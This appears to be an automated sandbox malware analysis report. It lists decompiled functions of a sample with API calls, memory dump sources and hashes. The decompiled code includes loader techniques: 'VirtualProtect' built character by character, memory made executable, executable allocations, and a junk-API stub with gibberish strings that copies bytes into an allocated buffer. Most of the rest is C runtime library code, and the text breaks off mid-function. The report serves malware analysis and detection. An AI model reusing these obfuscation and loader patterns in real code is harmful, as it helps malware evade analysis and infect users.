				M0044176E = 0x6c;
				 *0x441774 = 0x63;
				M0044176B = 0x74;
				 *0x441772 = 0x74;
				"rtualProtect" = 0x72;
				"VirtualProtect" = 0x56;
				"rotect" = 0x72;
				"irtualProtect" = 0x69; // executed
				_t3 = VirtualProtect( *0x453940,  *0x55abe4, 0x40, _t6 + 1); // executed
				return _t3;
			}

0x00419a7c
0x00419a7e
0x00419a80
0x00419a87
0x00419a8d
0x00419a9e
0x00419aab
0x00419ab2
0x00419ab9
0x00419ac0
0x00419ac7
0x00419ace
0x00419ad5
0x00419adc
0x00419ae3
0x00419aea
0x00419af1
0x00419af8
0x00419aff
0x00419b06
0x00419b0d

APIs

LoadLibraryA.KERNELBASE(VirtualProtect), ref: 00419A87
VirtualProtect.KERNELBASE(00000040,00000000), ref: 00419B06

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 66ebad453b0597063eaa389c463b5873182f58aef1d1bb86864fa0a853e6356c
Instruction ID: 6be70ee7c8df4a0f4661fd5e6f109304272bb690d6a8c23fb6b089f12e46625b
Opcode Fuzzy Hash: 66ebad453b0597063eaa389c463b5873182f58aef1d1bb86864fa0a853e6356c
Instruction Fuzzy Hash: EA01922840C3C0CDE302E778EE087413F96D727759F0801A9D1D51A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 007861E5, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0078622D

Memory Dump Source

Source File: 00000015.00000002.390529982.0000000000781000.00000040.00000001.sdmp, Offset: 00781000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_781000_8939.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1d8fe104a527dfe8a561b4f5ea2ba6f658e66fd5fea0249fa74bd979352db461
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: C3F0C2355407107BD7203BB9A88CB6AB6ECBF59320F100568E652911C0DB78EC058761

Uniqueness

Uniqueness Score: -1.00%

Function 00424540, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00424540() {
				void* _t1;

				_t1 = E00424470(0); // executed
				return _t1;
			}

0x00424547
0x00424550

APIs

__encode_pointer.LIBCMTD ref: 00424547

Part of subcall function 00424470: TlsGetValue.KERNEL32(00000001), ref: 00424485
Part of subcall function 00424470: TlsGetValue.KERNEL32(00000001,00000001), ref: 004244A6
Part of subcall function 00424470: __crt_wait_module_handle.LIBCMTD ref: 004244BC
Part of subcall function 00424470: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 004244D6
Part of subcall function 00424470: RtlEncodePointer.NTDLL(?), ref: 004244F7

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 81fffff5c182800692f42dbd9b098ad43289e4958654cc64baa412ee47b77b89
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 29A0126254420833D00030833803B12350C83C163CE480061F50C051422842B4114097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4B0, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			_entry_() {
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;

				E004283E0(); // executed
				_t2 = L0041B4D0(_t3, _t4, _t5); // executed
				return _t2;
			}

0x0041b4b5
0x0041b4ba
0x00000000

APIs

___security_init_cookie.LIBCMTD ref: 0041B4B5

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction ID: 645e1b1bf2c89ce1ecb497280c53bb38d3fd7c27abd8d1ad8e2cdd7bf4bb3e62
Opcode Fuzzy Hash: 52422613817a88944e371b4f66b4a427ba77d32d6ea1bc63d67825c3649230ec
Instruction Fuzzy Hash: A8A0023110565C76015073A7146794E754D9CD4B9CBD5401E7D18032035D6DA84180EE

Uniqueness

Uniqueness Score: -1.00%

Function 00785EA4, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00785EF5

Memory Dump Source

Source File: 00000015.00000002.390529982.0000000000781000.00000040.00000001.sdmp, Offset: 00781000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_781000_8939.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 42f1b3a7c1ae7c543a001f9b07756eb8d876eb1b9d98038abda193e2049c0b24
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: CD112B79A40208EFDB01DF98C989E99BFF5AF08350F058094FA489B362D375EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00419B0F, Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00419B0F(void* __eax) {
				void* _t3;

				_t3 = LocalAlloc(0, ??); // executed
				 *0x453940 = _t3;
				return _t3;
			}

0x00419b16
0x00419b1c
0x00419b21

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419B16

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction ID: 264a79083637c77b35a120d9c5117da2d419632272c14f4acaa1252e06e6d102
Opcode Fuzzy Hash: 328b38956f2cee6fd3145982f2ae6cb1bfe0be84657c63a518d1894c71b59d74
Instruction Fuzzy Hash: 75B011F000A3008BC3000F20AA08B003AA0B300B23F000232EA00E02A2CBB080008A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00419B0E, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 00419B16

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction ID: e90401dc1b2c122d05c12a740f464d47e5f9c7e426064232dd3deca42c89b7c0
Opcode Fuzzy Hash: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction Fuzzy Hash: 03B011F000A3008BCB020FA0AE08B803BA2B308B23F000222E300A02B2CBB20000AB0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004198D9, Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 110
timefilepipeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004198D9(union _FINDEX_INFO_LEVELS _a4) {
				void* _v8;
				void* _v22;
				struct _SYSTEMTIME _v24;
				void* _v38;
				struct _SYSTEMTIME _v40;
				void* _v56;
				struct _COMMTIMEOUTS _v60;
				struct _DCB _v88;
				struct _TIME_ZONE_INFORMATION _v260;
				char _v1284;
				void _v2308;
				intOrPtr _t25;
				union _FINDEX_INFO_LEVELS _t27;
				void* _t54;

				if( *0x55abe4 == 0x37) {
					_v60.ReadIntervalTimeout = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					BuildCommDCBAndTimeoutsW(L"lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix",  &_v88,  &_v60);
					CreateMailslotA("kinekecusaz", 0, 0, 0);
					GetNamedPipeHandleStateA(0, 0, 0, 0, 0, 0, 0);
					ReleaseSemaphore(0, 0, 0);
					FindAtomA(0);
					_v40.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					_v24.wYear = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					SystemTimeToTzSpecificLocalTime( &_v260,  &_v40,  &_v24);
					__imp__SetComputerNameExA(0, "Hay sexulilef", _t54);
					SetConsoleCursorInfo(0, 0);
					TlsGetValue(0);
					CopyFileA(0, 0, 0);
					__imp__GetLongPathNameA(0,  &_v1284, 0);
					__imp__SetVolumeMountPointW(0, 0);
					SetProcessPriorityBoost(0, 0);
					FreeEnvironmentStringsA(0);
					GetDriveTypeW(L"fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb");
					FindFirstFileExW(L"gocibuzoluxomebaxabuviyupezadapebetag", _a4,  &_v2308, _a4, 0, 0);
				}
				_v8 = 0;
				_t25 =  *0x55abe8; // 0x3f6fda
				_v8 = _v8 + _t25;
				_v8 = _v8 + 0x12336;
				_t27 = _a4;
				 *((char*)( *0x453940 + _t27)) =  *((intOrPtr*)(_v8 + _t27));
				return _t27;
			}

0x004198ec
0x004198f5
0x004198fb
0x004198fc
0x004198fd
0x004198fe
0x0041990c
0x0041991a
0x00419927
0x00419930
0x00419937
0x0041993f
0x00419946
0x00419947
0x00419948
0x00419949
0x0041994d
0x00419954
0x00419955
0x00419956
0x00419957
0x00419968
0x00419974
0x0041997c
0x00419983
0x0041998c
0x0041999b
0x004199a3
0x004199ab
0x004199b2
0x004199bd
0x004199d7
0x004199dd
0x004199de
0x004199e1
0x004199e6
0x004199ee
0x004199f1
0x00419a00
0x00419a05

APIs

BuildCommDCBAndTimeoutsW.KERNEL32 ref: 0041990C
CreateMailslotA.KERNEL32 ref: 0041991A
GetNamedPipeHandleStateA.KERNEL32 ref: 00419927
ReleaseSemaphore.KERNEL32(00000000,00000000,00000000), ref: 00419930
FindAtomA.KERNEL32 ref: 00419937
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00419968
SetComputerNameExA.KERNEL32(00000000,Hay sexulilef), ref: 00419974
SetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041997C
TlsGetValue.KERNEL32(00000000), ref: 00419983
CopyFileA.KERNEL32(00000000,00000000,00000000), ref: 0041998C
GetLongPathNameA.KERNEL32 ref: 0041999B
SetVolumeMountPointW.KERNEL32(00000000,00000000), ref: 004199A3
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 004199AB
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004199B2
GetDriveTypeW.KERNEL32(fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb), ref: 004199BD
FindFirstFileExW.KERNEL32(gocibuzoluxomebaxabuviyupezadapebetag,?,?,?,00000000,00000000), ref: 004199D7

Strings

lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix, xrefs: 00419907
Hay sexulilef, xrefs: 0041996E
gocibuzoluxomebaxabuviyupezadapebetag, xrefs: 004199D2
fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb, xrefs: 004199B8
kinekecusaz, xrefs: 00419915

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: FileFindNameTime$AtomBoostBuildCommComputerConsoleCopyCreateCursorDriveEnvironmentFirstFreeHandleInfoLocalLongMailslotMountNamedPathPipePointPriorityProcessReleaseSemaphoreSpecificStateStringsSystemTimeoutsTypeValueVolume
String ID: Hay sexulilef$fifadegidotoyebetupohacutasireramubufoloneletovarinipazufugijeb$gocibuzoluxomebaxabuviyupezadapebetag$kinekecusaz$lekawasezarirekazivevoficoxapiyenekufugelutonuyirumewigusebix
API String ID: 2371511816-294975296
Opcode ID: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction ID: 01ba67c4b8539ddfb85943403eb95e9c0aa7cc945e8175bb3257861ba4187a1e
Opcode Fuzzy Hash: 501f59bb037f79fd8c8e56774737705b1091c1602414329c54927523f4b33fdd
Instruction Fuzzy Hash: D8311776802568BFD7119BE4DE489DFBBBCEF4E351B100026F245F2130D6385A85CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042BB60, Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0042BB60(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x440354; // 0x7223ce7a
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x55b510 = _t6;
				 *0x55b50c = _t20;
				 *0x55b508 = _t22;
				 *0x55b504 = _t19;
				 *0x55b500 = _t25;
				 *0x55b4fc = _t24;
				 *0x55b528 = ss;
				 *0x55b51c = cs;
				 *0x55b4f8 = ds;
				 *0x55b4f4 = es;
				 *0x55b4f0 = fs;
				 *0x55b4ec = gs;
				asm("pushfd");
				_pop( *0x55b520);
				 *0x55b514 =  *_t29;
				 *0x55b518 = _v0;
				 *0x55b524 =  &_a4;
				 *0x55b460 = 0x10001;
				 *0x55b414 =  *0x55b518;
				 *0x55b408 = 0xc0000409;
				 *0x55b40c = 1;
				_t21 =  *0x440354; // 0x7223ce7a
				_v812 = _t21;
				_t23 =  *0x440358; // 0x8ddc3185
				_v808 = _t23;
				 *0x55b458 = IsDebuggerPresent();
				_push(1);
				E004298A0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x4080a8);
				if( *0x55b458 == 0) {
					_push(1);
					E004298A0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0042bb60
0x0042bb60
0x0042bb60
0x0042bb60
0x0042bb60
0x0042bb60
0x0042bb60
0x0042bb66
0x0042bb68
0x0042bb68
0x0043618b
0x00436190
0x00436196
0x0043619c
0x004361a2
0x004361a8
0x004361ae
0x004361b5
0x004361bc
0x004361c3
0x004361ca
0x004361d1
0x004361d8
0x004361d9
0x004361e2
0x004361ea
0x004361f2
0x004361fd
0x0043620c
0x00436211
0x0043621b
0x00436225
0x0043622b
0x00436231
0x00436237
0x00436243
0x00436248
0x0043624a
0x00436254
0x0043625f
0x0043626c
0x0043626e
0x00436270
0x00436275
0x0043628d

APIs

IsDebuggerPresent.KERNEL32 ref: 0043623D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00436254
UnhandledExceptionFilter.KERNEL32(004080A8), ref: 0043625F
GetCurrentProcess.KERNEL32(C0000409), ref: 0043627D
TerminateProcess.KERNEL32(00000000), ref: 00436284

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction ID: 4ab962f27e4287b0f1601072e706ce55f5972d6448e6c9a3c57b3b416bb05ba5
Opcode Fuzzy Hash: b7a53afc7208901d6c6d60203df49a70aefb68ac451e4fc273249babed218e6a
Instruction Fuzzy Hash: 99212AB4801308DFEB14DF15FD68A243BA5BB28316F10406AE90893372F7755A88EF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042C1EE, Relevance: 96.7, APIs: 33, Strings: 22, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C1EE(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0x441060) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00422D10(_t210));
						 *(L00422D10( *(L00422D10(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00436150(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E0041D8F0( *((intOrPtr*)(L00422D10(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00422D10(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E0041DE60(E0041D9E0(_t208, _t210, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E0041DE60(E0041D9E0(_t208, _t263 - 0x4030, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E0041DE60(E00431FD0(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E0041DE60(E00431FD0(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E0041DE60(E00431FD0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, "\n"), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E0041DE60(E0041D9E0(_t208, _t263 - 0x4030, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00422D10(_t210));
						 *(L00422D10(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E0042BB30( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E0041D8F0( *(L00422D10(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00422D10(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E0041DE60(E0041D9E0(_t208, _t233, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00436C10(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E0041D8F0( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E0041DE60(E0042DA30(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0x55b808 != 0 ||  *0x55b804 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L0041E1C0(0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0x55b808;
						 *(_t263 - 0x5050) =  *0x55b808;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E0042C785();
							goto L44;
						}
						_t240 =  *0x55b804;
						 *(_t263 - 0x504c) =  *0x55b804;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0x55b800 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0x55b800( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0x441070 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E0041DCC0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0x441070 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0x441064 +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E0041DE60(E00436C40(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L00429490(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
